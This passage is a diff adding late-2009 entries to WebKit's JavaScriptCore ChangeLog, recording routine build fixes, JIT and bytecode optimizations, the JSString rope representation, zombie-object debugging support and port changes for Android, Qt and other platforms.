+
+        Update build systems:
+        
+        * Android.mk:
+        * GNUmakefile.am:
+        * JavaScriptCore.gypi:
+        * JavaScriptCore.pri:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.vcproj:
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+        * JavaScriptCoreSources.bkl:
+
+2009-12-08  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Kevin Ollivier.
+
+        [wx] Mac plugins support.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=32236
+
+        * wtf/Platform.h:
+
+2009-12-08  Dmitry Titov  <dimich@chromium.org>
+
+        Rubber-stamped by David Levin.
+
+        Revert and reopen "Add asserts to RefCounted to make sure ref/deref happens on the right thread."
+        It may have caused massive increase of reported leaks on the bots.
+        https://bugs.webkit.org/show_bug.cgi?id=31639
+
+        * GNUmakefile.am:
+        * JavaScriptCore.gypi:
+        * JavaScriptCore.vcproj/WTF/WTF.vcproj:
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+        * runtime/Structure.cpp:
+        (JSC::Structure::Structure):
+        * wtf/RefCounted.h:
+        (WTF::RefCountedBase::ref):
+        (WTF::RefCountedBase::hasOneRef):
+        (WTF::RefCountedBase::refCount):
+        (WTF::RefCountedBase::derefBase):
+        * wtf/ThreadVerifier.h: Removed.
+
+2009-12-08  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Darin Adler.
+
+        Make WebKit build correctly on FreeBSD, IA64, and Alpha.
+        Based on work by Petr Salinger <Petr.Salinger@seznam.cz>,
+        and Colin Watson <cjwatson@ubuntu.com>.
+
+        * wtf/Platform.h:
+
+2009-12-08  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Add asserts to RefCounted to make sure ref/deref happens on the right thread.
+        https://bugs.webkit.org/show_bug.cgi?id=31639
+
+        * runtime/Structure.cpp:
+        (JSC::Structure::Structure): Disable thread verification on this class since it uses addressOfCount().
+        * wtf/RefCounted.h:
+        (WTF::RefCountedBase::ref): Add ASSERT.
+        (WTF::RefCountedBase::hasOneRef): Ditto.
+        (WTF::RefCountedBase::refCount): Ditto.
+        (WTF::RefCountedBase::derefBase): Ditto.
+        (WTF::RefCountedBase::disableThreadVerification): delegate to ThreadVerifier method.
+        * wtf/ThreadVerifier.h: Added.
+        (WTF::ThreadVerifier::ThreadVerifier): New Debug-only class to verify that ref/deref of RefCounted is done on the same thread.
+        (WTF::ThreadVerifier::activate): Activates checks. Called when ref count becomes above 2.
+        (WTF::ThreadVerifier::deactivate): Deactivates checks. Called when ref count drops below 2.
+        (WTF::ThreadVerifier::disableThreadVerification): used on objects that should not be checked (StringImpl etc)
+        (WTF::ThreadVerifier::verifyThread):
+        * GNUmakefile.am: Add ThreadVerifier.h to the build file.
+        * JavaScriptCore.gypi: Ditto.
+        * JavaScriptCore.vcproj/WTF/WTF.vcproj: Ditto.
+        * JavaScriptCore.xcodeproj/project.pbxproj: Ditto.
+
+2009-12-08  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        [Android] Adds Makefiles for Android port.
+        https://bugs.webkit.org/show_bug.cgi?id=31325
+
+        * Android.mk: Added.
+        * Android.v8.wtf.mk: Added.
+
+2009-12-07  Dmitry Titov  <dimich@chromium.org>
+
+        Rubber-stamped by Darin Adler.
+
+        Remove ENABLE_SHARED_SCRIPT flags
+        https://bugs.webkit.org/show_bug.cgi?id=32245
+        This patch was obtained by "git revert" command and then un-reverting of ChangeLog files.
+
+        * Configurations/FeatureDefines.xcconfig:
+        * wtf/Platform.h:
+
+2009-12-07  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (Windows build fixage part I).
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2009-12-05  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32184
+        Handle out-of-memory conditions with JSC Ropes with a JS exception, rather than crashing.
+        Switch from using fastMalloc to tryFastMalloc, pass an ExecState to record the exception on.
+
+        * API/JSCallbackObjectFunctions.h:
+        (JSC::::toString):
+        * API/JSValueRef.cpp:
+        (JSValueIsStrictEqual):
+        * JavaScriptCore.exp:
+        * bytecompiler/BytecodeGenerator.cpp:
+        (JSC::BytecodeGenerator::emitEqualityOp):
+        * debugger/DebuggerCallFrame.cpp:
+        (JSC::DebuggerCallFrame::functionName):
+        (JSC::DebuggerCallFrame::calculatedFunctionName):
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::callEval):
+        (JSC::Interpreter::privateExecute):
+        * jit/JITStubs.cpp:
+        (JSC::DEFINE_STUB_FUNCTION):
+        * profiler/ProfileGenerator.cpp:
+        (JSC::ProfileGenerator::addParentForConsoleStart):
+        * profiler/Profiler.cpp:
+        (JSC::Profiler::willExecute):
+        (JSC::Profiler::didExecute):
+        (JSC::Profiler::createCallIdentifier):
+        (JSC::createCallIdentifierFromFunctionImp):
+        * profiler/Profiler.h:
+        * runtime/ArrayPrototype.cpp:
+        (JSC::arrayProtoFuncIndexOf):
+        (JSC::arrayProtoFuncLastIndexOf):
+        * runtime/DateConstructor.cpp:
+        (JSC::constructDate):
+        * runtime/FunctionPrototype.cpp:
+        (JSC::functionProtoFuncToString):
+        * runtime/InternalFunction.cpp:
+        (JSC::InternalFunction::name):
+        (JSC::InternalFunction::displayName):
+        (JSC::InternalFunction::calculatedDisplayName):
+        * runtime/InternalFunction.h:
+        * runtime/JSCell.cpp:
+        (JSC::JSCell::getString):
+        * runtime/JSCell.h:
+        (JSC::JSValue::getString):
+        * runtime/JSONObject.cpp:
+        (JSC::gap):
+        (JSC::Stringifier::Stringifier):
+        (JSC::Stringifier::appendStringifiedValue):
+        * runtime/JSObject.cpp:
+        (JSC::JSObject::putDirectFunction):
+        (JSC::JSObject::putDirectFunctionWithoutTransition):
+        (JSC::JSObject::defineOwnProperty):
+        * runtime/JSObject.h:
+        * runtime/JSPropertyNameIterator.cpp:
+        (JSC::JSPropertyNameIterator::get):
+        * runtime/JSString.cpp:
+        (JSC::JSString::Rope::~Rope):
+        (JSC::JSString::resolveRope):
+        (JSC::JSString::getPrimitiveNumber):
+        (JSC::JSString::toNumber):
+        (JSC::JSString::toString):
+        (JSC::JSString::toThisString):
+        (JSC::JSString::getStringPropertyDescriptor):
+        * runtime/JSString.h:
+        (JSC::JSString::Rope::createOrNull):
+        (JSC::JSString::Rope::operator new):
+        (JSC::JSString::value):
+        (JSC::JSString::tryGetValue):
+        (JSC::JSString::getIndex):
+        (JSC::JSString::getStringPropertySlot):
+        (JSC::JSValue::toString):
+        * runtime/JSValue.h:
+        * runtime/NativeErrorConstructor.cpp:
+        (JSC::NativeErrorConstructor::NativeErrorConstructor):
+        * runtime/Operations.cpp:
+        (JSC::JSValue::strictEqualSlowCase):
+        * runtime/Operations.h:
+        (JSC::JSValue::equalSlowCaseInline):
+        (JSC::JSValue::strictEqualSlowCaseInline):
+        (JSC::JSValue::strictEqual):
+        (JSC::jsLess):
+        (JSC::jsLessEq):
+        (JSC::jsAdd):
+        (JSC::concatenateStrings):
+        * runtime/PropertyDescriptor.cpp:
+        (JSC::PropertyDescriptor::equalTo):
+        * runtime/PropertyDescriptor.h:
+        * runtime/StringPrototype.cpp:
+        (JSC::stringProtoFuncReplace):
+        (JSC::stringProtoFuncToLowerCase):
+        (JSC::stringProtoFuncToUpperCase):
+
+2009-12-07  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Holger Freyther.
+
+        Turn on (SVG) Filters support, by default.
+        https://bugs.webkit.org/show_bug.cgi?id=32224
+
+        * Configurations/FeatureDefines.xcconfig: Enable FILTERS build flag.
+
+2009-12-07  Steve Falkenburg  <sfalken@apple.com>
+
+        Build fix. Be flexible about which version of ICU is used on Windows.
+
+        * JavaScriptCore.vcproj/jsc/jscCommon.vsprops: Add optional xcopy commands to copy ICU 4.2.
+
+2009-12-07  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        op_loop_if_less JIT codegen is broken for 64-bit
+        https://bugs.webkit.org/show_bug.cgi?id=32221
+
+        * jit/JITOpcodes.cpp:
+        (JSC::JIT::emit_op_loop_if_false): Fix codegen in this version - test was backwards.
+
+2009-12-07  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Object.create fails if properties on the descriptor are getters
+        https://bugs.webkit.org/show_bug.cgi?id=32219
+
+        Correctly initialise the PropertySlots with the descriptor object.
+
+        * runtime/ObjectConstructor.cpp:
+        (JSC::toPropertyDescriptor):
+
+2009-12-06  Maciej Stachowiak  <mjs@apple.com>
+
+        Not reviewed, build fix.
+
+        Actually tested 64-bit *and* 32-bit build this time.
+
+        * jit/JITOpcodes.cpp:
+        (JSC::JIT::emit_op_loop_if_false):
+
+2009-12-06  Maciej Stachowiak  <mjs@apple.com>
+
+        Not reviewed, build fix.
+
+        Really really fix 64-bit build for prior patch (actually tested this time).
+
+        * jit/JITOpcodes.cpp:
+        (JSC::JIT::emit_op_loop_if_false):
+        (JSC::JIT::emitSlow_op_loop_if_false):
+
+2009-12-06  Maciej Stachowiak  <mjs@apple.com>
+
+        Not reviewed, build fix.
+
+        Really fix 64-bit build for prior patch.
+
+        * jit/JITArithmetic.cpp:
+        (JSC::JIT::emitSlow_op_jless):
+
+2009-12-06  Maciej Stachowiak  <mjs@apple.com>
+
+        Not reviewed, build fix.
+
+        Fix 64-bit build for prior patch.
+
+        * jit/JITOpcodes.cpp:
+        (JSC::JIT::emitSlow_op_loop_if_less):
+
+2009-12-05  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        conway benchmark spends half it's time in op_less (jump fusion fails)
+        https://bugs.webkit.org/show_bug.cgi?id=32190
+
+        <1% speedup on SunSpider and V8
+        2x speedup on "conway" benchmark
+        
+        Two optimizations:
+        1) Improve codegen for logical operators &&, || and ! in a condition context
+        
+        When generating code for combinations of &&, || and !, in a
+        condition context (i.e. in an if statement or loop condition), we
+        used to produce a value, and then separately jump based on its
+        truthiness. Now we pass the false and true targets in, and let the
+        logical operators generate jumps directly. This helps in four
+        ways:
+
+        a) Individual clauses of a short-circuit logical operator can now
+        jump directly to the then or else clause of an if statement (or to
+        the top or exit of a loop) instead of jumping to a jump.
+        
+        b) It used to be that jump fusion with the condition of the first
+        clause of a logical operator was inhibited, because the register
+        was ref'd to be used later, in the actual condition jump; this no
+        longer happens since a jump straight to the final target is
+        generated directly.
+
+        c) It used to be that jump fusion with the condition of the second
+        clause of a logical operator was inhibited, because there was a
+        jump target right after the second clause and before the actual
+        condition jump. But now it's no longer necessary for the first
+        clause to jump there so jump fusion is not blocked.
+
+        d) We avoid generating excess mov statements in some cases.
+        
+        As a concrete example this source:
+        
+        if (!((x < q && y < q) || (t < q && z < q))) {
+            // ...
+        }
+        
+        Used to generate this bytecode:
+        
+        [  34] less              r1, r-15, r-19
+        [  38] jfalse            r1, 7(->45)
+        [  41] less              r1, r-16, r-19
+        [  45] jtrue             r1, 14(->59)
+        [  48] less              r1, r-17, r-19
+        [  52] jfalse            r1, 7(->59)
+        [  55] less              r1, r-18, r-19
+        [  59] jtrue             r1, 17(->76)
+        
+        And now generates this bytecode (also taking advantage of the second optimization below):
+        
+        [  34] jnless            r-15, r-19, 8(->42)
+        [  38] jless             r-16, r-19, 26(->64)
+        [  42] jnless            r-17, r-19, 8(->50)
+        [  46] jless             r-18, r-19, 18(->64)
+        
+        Note the jump fusion and the fact that there's less jump
+        indirection - three of the four jumps go straight to the target
+        clause instead of indirecting through another jump.
+        
+        2) Implement jless opcode to take advantage of the above, since we'll now often generate
+        a less followed by a jtrue where fusion is not forbidden.
+       
+        * parser/Nodes.h:
+        (JSC::ExpressionNode::hasConditionContextCodegen): Helper function to determine
+        whether a node supports special conditional codegen. Return false as this is the default.
+        (JSC::ExpressionNode::emitBytecodeInConditionContext): Assert not reached - only really
+        defined for nodes that do have conditional codegen.
+        (JSC::UnaryOpNode::expr): Add const version.
+        (JSC::LogicalNotNode::hasConditionContextCodegen): Returne true only if subexpression
+        supports it.
+        (JSC::LogicalOpNode::hasConditionContextCodegen): Return true.
+        * parser/Nodes.cpp:
+        (JSC::LogicalNotNode::emitBytecodeInConditionContext): Implemented - just swap
+        the true and false targets for the child node.
+        (JSC::LogicalOpNode::emitBytecodeInConditionContext): Implemented - handle jumps
+        directly, improving codegen quality. Also handles further nested conditional codegen.
+        (JSC::ConditionalNode::emitBytecode): Use condition context codegen when available.
+        (JSC::IfNode::emitBytecode): ditto
+        (JSC::IfElseNode::emitBytecode): ditto
+        (JSC::DoWhileNode::emitBytecode): ditto
+        (JSC::WhileNode::emitBytecode): ditto
+        (JSC::ForNode::emitBytecode): ditto
+
+        * bytecode/Opcode.h: 
+        - Added loop_if_false opcode - needed now that falsey jumps can be backwards.
+        - Added jless opcode to take advantage of new fusion opportunities.
+        * bytecode/CodeBlock.cpp:
+        (JSC::CodeBlock::dump): Handle above.
+        * bytecompiler/BytecodeGenerator.cpp:
+        (JSC::BytecodeGenerator::emitJumpIfTrue): Add peephole for less + jtrue ==> jless.
+        (JSC::BytecodeGenerator::emitJumpIfFalse): Add handling of backwrds falsey jumps.
+        * bytecompiler/BytecodeGenerator.h:
+        (JSC::BytecodeGenerator::emitNodeInConditionContext): Wrapper to handle tracking of
+        overly deep expressions etc.
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::privateExecute): Implement the two new opcodes (loop_if_false, jless).
+        * jit/JIT.cpp:
+        (JSC::JIT::privateCompileMainPass): Implement JIT support for the two new opcodes.
+        (JSC::JIT::privateCompileSlowCases): ditto
+        * jit/JIT.h:
+        * jit/JITArithmetic.cpp:
+        (JSC::JIT::emit_op_jless):
+        (JSC::JIT::emitSlow_op_jless): ditto
+        (JSC::JIT::emitBinaryDoubleOp): ditto
+        * jit/JITOpcodes.cpp:
+        (JSC::JIT::emitSlow_op_loop_if_less): ditto
+        (JSC::JIT::emit_op_loop_if_false): ditto
+        (JSC::JIT::emitSlow_op_loop_if_false): ditto
+        * jit/JITStubs.cpp:
+        * jit/JITStubs.h:
+        (JSC::):
+
+2009-12-04  Kent Hansen  <kent.hansen@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        JavaScript delete operator should return false for string properties
+        https://bugs.webkit.org/show_bug.cgi?id=32012
+
+        * runtime/StringObject.cpp:
+        (JSC::StringObject::deleteProperty):
+
+2009-12-03  Drew Wilson  <atwilson@chromium.org>
+
+        Rolled back r51633 because it causes a perf regression in Chromium.
+
+        * wtf/Platform.h:
+
+2009-12-03  Gavin Barraclough  <barraclough@apple.com>
+
+        Try and fix the Windows build.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:  Export a symbol that should be exported.
+
+2009-12-03  Mark Rowe  <mrowe@apple.com>
+
+        Try and fix the Mac build.
+
+        * JavaScriptCore.exp:  Export a symbol that should be exported.
+
+2009-12-03  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        REGRESSION(4.0.3-48777): Crash in JSC::ExecState::propertyNames() (Debug-only?)
+        https://bugs.webkit.org/show_bug.cgi?id=32133
+
+        Work around odd GCC-ism and correct the scopechain for use by
+        calls made while a cachedcall is active on the callstack.
+
+        * interpreter/CachedCall.h:
+        (JSC::CachedCall::newCallFrame):
+        * runtime/JSArray.cpp:
+        (JSC::AVLTreeAbstractorForArrayCompare::compare_key_key):
+        * runtime/StringPrototype.cpp:
+        (JSC::stringProtoFuncReplace):
+
+2009-12-03  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver "Brraaaaiiiinnnnnzzzzzzzz" Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32136
+        Add a rope representation to JSString.  Presently JSString always holds its data in UString form.
+        Instead, allow the result of a string concatenation to be represented in a tree form - with a
+        variable sized, reference-counted rope node retaining a set of UString::Reps (or other rope nopes).
+
+        Strings must still currently be resolved down to a flat UString representation before being used,
+        but by holding the string in a rope representation during construction we can avoid copying data
+        until we know the final size of the string.
+
+        ~2% progression on SunSpider (~25% on date-format-xparb, ~20% on string-validate-input).
+
+        * JavaScriptCore.exp:
+
+            - Update exports.
+
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::privateExecute):
+
+            - Make use of new JSString::length() method to avoid prematurely resolving ropes.
+
+        * jit/JITOpcodes.cpp:
+        (JSC::JIT::privateCompileCTIMachineTrampolines):
+
+            - Switch the string length trampoline to read the length directly from JSString::m_length,
+              rather than from the JSString's UString::Rep's 'len' property.
+
+        * jit/JITStubs.cpp:
+        (JSC::DEFINE_STUB_FUNCTION):
+
+            - Modify op_add such that addition of two strings, where either or both strings are already
+              in rope representation, produces a rope as a result.
+
+        * runtime/JSString.cpp:
+        (JSC::JSString::Rope::~Rope):
+        (JSC::copyChars):
+        (JSC::JSString::resolveRope):
+        (JSC::JSString::getPrimitiveNumber):
+        (JSC::JSString::toBoolean):
+        (JSC::JSString::toNumber):
+        (JSC::JSString::toString):
+        (JSC::JSString::toThisString):
+        (JSC::JSString::getStringPropertyDescriptor):
+        * runtime/JSString.h:
+        (JSC::JSString::Rope::Fiber::Fiber):
+        (JSC::JSString::Rope::Fiber::destroy):
+        (JSC::JSString::Rope::Fiber::isRope):
+        (JSC::JSString::Rope::Fiber::rope):
+        (JSC::JSString::Rope::Fiber::string):
+        (JSC::JSString::Rope::create):
+        (JSC::JSString::Rope::initializeFiber):
+        (JSC::JSString::Rope::ropeLength):
+        (JSC::JSString::Rope::stringLength):
+        (JSC::JSString::Rope::fibers):
+        (JSC::JSString::Rope::Rope):
+        (JSC::JSString::Rope::operator new):
+        (JSC::JSString::JSString):
+        (JSC::JSString::value):
+        (JSC::JSString::length):
+        (JSC::JSString::isRope):
+        (JSC::JSString::rope):
+        (JSC::JSString::string):
+        (JSC::JSString::canGetIndex):
+        (JSC::jsSingleCharacterSubstring):
+        (JSC::JSString::getIndex):
+        (JSC::jsSubstring):
+        (JSC::JSString::getStringPropertySlot):
+
+            - Add rope form.
+
+        * runtime/Operations.h:
+        (JSC::jsAdd):
+        (JSC::concatenateStrings):
+
+            - Update string concatenation, and addition of ropes, to produce ropes.
+
+        * runtime/StringObject.cpp:
+        (JSC::StringObject::getOwnPropertyNames):
+
+            - Make use of new JSString::length() method to avoid prematurely resolving ropes.
+
+2009-11-23  Jeremy Moskovich  <jeremy@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Switch Chrome/Mac to use Core Text APIs rather than ATSUI APIs.
+        https://bugs.webkit.org/show_bug.cgi?id=31802
+
+        No test since this is already covered by existing pixel tests.
+
+        * wtf/Platform.h: #define USE_CORE_TEXT for Chrome/Mac.
+
+2009-12-02  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Add files missed in prior patch.
+
+        * runtime/JSZombie.cpp:
+        (JSC::):
+        (JSC::JSZombie::leakedZombieStructure):
+        * runtime/JSZombie.h: Added.
+        (JSC::JSZombie::JSZombie):
+        (JSC::JSZombie::isZombie):
+        (JSC::JSZombie::classInfo):
+        (JSC::JSZombie::isGetterSetter):
+        (JSC::JSZombie::isAPIValueWrapper):
+        (JSC::JSZombie::isPropertyNameIterator):
+        (JSC::JSZombie::getCallData):
+        (JSC::JSZombie::getConstructData):
+        (JSC::JSZombie::getUInt32):
+        (JSC::JSZombie::toPrimitive):
+        (JSC::JSZombie::getPrimitiveNumber):
+        (JSC::JSZombie::toBoolean):
+        (JSC::JSZombie::toNumber):
+        (JSC::JSZombie::toString):
+        (JSC::JSZombie::toObject):
+        (JSC::JSZombie::markChildren):
+        (JSC::JSZombie::put):
+        (JSC::JSZombie::deleteProperty):
+        (JSC::JSZombie::toThisObject):
+        (JSC::JSZombie::toThisString):
+        (JSC::JSZombie::toThisJSString):
+        (JSC::JSZombie::getJSNumber):
+        (JSC::JSZombie::getOwnPropertySlot):
+
+2009-12-02  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Add zombies to JSC
+        https://bugs.webkit.org/show_bug.cgi?id=32103
+
+        Add a compile time flag to make the JSC collector replace "unreachable"
+        objects with zombie objects.  The zombie object is a JSCell subclass that
+        ASSERTs on any attempt to use the JSCell methods.  In addition there are
+        a number of additional assertions in bottleneck code to catch zombie usage
+        as quickly as possible.
+
+        Grrr. Argh. Brains.
+
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+        * interpreter/Register.h:
+        (JSC::Register::Register):
+        * runtime/ArgList.h:
+        (JSC::MarkedArgumentBuffer::append):
+        (JSC::ArgList::ArgList):
+        * runtime/Collector.cpp:
+        (JSC::Heap::destroy):
+        (JSC::Heap::sweep):
+        * runtime/Collector.h:
+        * runtime/JSCell.h:
+        (JSC::JSCell::isZombie):
+        (JSC::JSValue::isZombie):
+        * runtime/JSValue.h:
+        (JSC::JSValue::decode):
+        (JSC::JSValue::JSValue):
+        * wtf/Platform.h:
+
+2009-12-01  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Added variants of find/contains/add that allow a foreign key type to be used.
+        This will allow AtomicString-keyed maps to be queried by C string without
+        having to create a temporary AtomicString (see HTTPHeaderMap.)
+        The code for this is adapted from the equivalent in HashSet.h.
+
+        * wtf/HashMap.h:
+        (WTF::HashMap::find):
+        (WTF::HashMap::contains):
+        (WTF::HashMap::add):
+        * wtf/HashSet.h: Changed "method" to "function member" in a comment.
+
+2009-12-01  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Revert 51551 because it broke GTK+.
+
+        * wtf/Platform.h:
+
+2009-11-30  Gavin Barraclough  <barraclough@apple.com>
+
+        Windows Build fix.  Reviewed by NOBODY.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2009-11-24  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Bug 31859 - Make world selection for JSC IsolatedWorlds automagical.
+
+        WebCore presently has to explicitly specify the world before entering into JSC,
+        which is a little fragile (particularly since property access via a
+        getter/setter might invoke execution). Instead derive the current world from
+        the lexical global object.
+        
+        Remove the temporary duct tape of willExecute/didExecute virtual hooks on the JSGlobalData::ClientData - these are no longer necessary.
+
+        * API/JSBase.cpp:
+        (JSEvaluateScript):
+        * API/JSObjectRef.cpp:
+        (JSObjectCallAsFunction):
+        * JavaScriptCore.exp:
+        * runtime/JSGlobalData.cpp:
+        * runtime/JSGlobalData.h:
+
+2009-11-30  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Remove obsolete PLATFORM(KDE) code
+        https://bugs.webkit.org/show_bug.cgi?id=31958
+
+        KDE is now using unpatched QtWebKit.
+
+        * parser/Lexer.cpp: Remove obsolete KDE_USE_FINAL guard
+        * wtf/Platform.h: Remove PLATFORM(KDE) definition and code 
+        section that is guarded with it.
+
 2009-11-30  Jan-Arve Sæther  <jan-arve.saether@nokia.com>
 
         Reviewed by Simon Hausmann.
@@ -69,6 +8765,15 @@
 
         * wtf/TypeTraits.h:
 
+2009-11-29  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] Mac build has JIT disabled
+        https://bugs.webkit.org/show_bug.cgi?id=31828
+
+        * wtf/Platform.h: Enable JIT for Qt Mac builds
+
 2009-11-28  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
 
         Reviewed by Eric Seidel.
@@ -79,15 +8784,219 @@
         * runtime/MarkStack.h:
         (JSC::MarkStack::MarkStackArray::shrinkAllocation):
 
-2009-11-18  Gabor Loki  <loki@inf.u-szeged.hu>
+2009-11-28  Zoltan Herczeg  <zherczeg@inf.u-szeged.hu>
 
-        Reviewed by Darin Adler.
+        Reviewed by Gavin Barraclough.
 
-        Fix the clobber list of cacheFlush for ARM and Thumb2 on Linux
-        https://bugs.webkit.org/show_bug.cgi?id=31631
+        https://bugs.webkit.org/show_bug.cgi?id=31930
 
-        * jit/ExecutableAllocator.h:
-        (JSC::ExecutableAllocator::cacheFlush):
+        Seems a typo. We don't need ~270k memory to determine the vptrs.
+
+        * runtime/JSGlobalData.cpp:
+        (JSC::VPtrSet::VPtrSet):
+
+2009-11-27  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Unreviewed. 
+
+        Move GOwnPtr* from wtf to wtf/gtk
+        https://bugs.webkit.org/show_bug.cgi?id=31793
+
+        Build fix for chromium after r51423.
+        Exclude gtk directory from chromium build.
+
+        * JavaScriptCore.gyp/JavaScriptCore.gyp:
+
+2009-11-25  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Incorrect behaviour of jneq_null in the interpreter
+        https://bugs.webkit.org/show_bug.cgi?id=31901
+
+        Correct the logic of jneq_null.  This is already covered by existing tests.
+
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::privateExecute):
+
+2009-11-26  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Oliver Hunt.
+
+        Move GOwnPtr* from wtf to wtf/gtk
+        https://bugs.webkit.org/show_bug.cgi?id=31793
+
+        * GNUmakefile.am: Change the path for GOwnPtr.*.
+        * JavaScriptCore.gyp/JavaScriptCore.gyp: Remove
+          GOwnPtr.cpp from the exclude list.
+        * JavaScriptCore.gypi: Change the path for GOwnPtr.*.
+        * wscript: Remove GOwnPtr.cpp from the exclude list.
+        * wtf/GOwnPtr.cpp: Removed.
+        * wtf/GOwnPtr.h: Removed.
+        * wtf/Threading.h: Change the path for GOwnPtr.h.
+        * wtf/gtk/GOwnPtr.cpp: Copied from JavaScriptCore/wtf/GOwnPtr.cpp.
+        * wtf/gtk/GOwnPtr.h: Copied from JavaScriptCore/wtf/GOwnPtr.h.
+        * wtf/unicode/glib/UnicodeGLib.h: Change the path for GOwnPtr.h.
+
+2009-11-24  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Add ENABLE_SHARED_SCRIPT feature define and flag for build-webkit
+        https://bugs.webkit.org/show_bug.cgi?id=31444
+
+        * Configurations/FeatureDefines.xcconfig:
+        * wtf/Platform.h:
+
+2009-11-24  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Add ability to enable ACCELERATED_COMPOSITING on Windows (currently disabled)
+        https://bugs.webkit.org/show_bug.cgi?id=27314
+
+        * wtf/Platform.h:
+
+2009-11-24  Jason Smith  <dark.panda@gmail.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        RegExp#exec's returned Array-like object behaves differently from
+        regular Arrays
+        https://bugs.webkit.org/show_bug.cgi?id=31689
+
+        * JavaScriptCore/runtime/RegExpConstructor.cpp: ensure that undefined
+        values are added to the returned RegExpMatchesArray
+
+2009-11-24  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        JSON.stringify performance on undefined is very poor
+        https://bugs.webkit.org/show_bug.cgi?id=31839
+
+        Switch from a UString to a Vector<UChar> when building
+        the JSON string, allowing us to safely remove the substr-copy
+        we otherwise did when unwinding an undefined property.
+
+        Also turns out to be a ~5% speedup on stringification.
+
+        * runtime/JSONObject.cpp:
+        (JSC::Stringifier::StringBuilder::append):
+        (JSC::Stringifier::stringify):
+        (JSC::Stringifier::Holder::appendNextProperty):
+
+2009-11-24  Mark Rowe  <mrowe@apple.com>
+
+        Fix production builds where the source tree may be read-only.
+
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+
+2009-11-23  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        Include "config.h" to meet Coding Style Guidelines
+        https://bugs.webkit.org/show_bug.cgi?id=31792
+
+        * wtf/unicode/UTF8.cpp:
+        * wtf/unicode/glib/UnicodeGLib.cpp:
+        * wtf/unicode/wince/UnicodeWince.cpp:
+
+2009-11-23  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Streamlined some Math functions where we expect or know the result not
+        to be representable as an int.
+        
+        SunSpider says 0.6% faster.
+
+        * runtime/JSNumberCell.h:
+        (JSC::JSValue::JSValue):
+        * runtime/JSValue.h:
+        (JSC::JSValue::):
+        (JSC::jsDoubleNumber):
+        (JSC::JSValue::JSValue): Added a function for making a numeric JSValue
+        and skipping the "can I encode this as an int?" check, avoiding the
+        overhead of int <-> double roundtripping and double <-> double comparison
+        and branching.
+
+        * runtime/MathObject.cpp:
+        (JSC::mathProtoFuncACos):
+        (JSC::mathProtoFuncASin):
+        (JSC::mathProtoFuncATan):
+        (JSC::mathProtoFuncATan2):
+        (JSC::mathProtoFuncCos):
+        (JSC::mathProtoFuncExp):
+        (JSC::mathProtoFuncLog):
+        (JSC::mathProtoFuncRandom):
+        (JSC::mathProtoFuncSin):
+        (JSC::mathProtoFuncSqrt):
+        (JSC::mathProtoFuncTan): For these functions, which we expect or know
+        to produce results not representable as ints, call jsDoubleNumber instead
+        of jsNumber.
+
+2009-11-23  Mark Rowe  <mrowe@apple.com>
+
+        Unreviewed. Unbreak the regression tests after r51329.
+
+        * API/JSBase.cpp:
+        (JSEvaluateScript): Null-check clientData before dereferencing it.
+        * API/JSObjectRef.cpp:
+        (JSObjectCallAsFunction): Ditto.
+
+2009-11-23  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Part 1/3 of <rdar://problem/7377477> REGRESSION: Many web pages fail to render after interesting script runs in isolated world
+
+        Some clients of the JavaScriptCore API expect to be able to make callbacks over the JSC API,
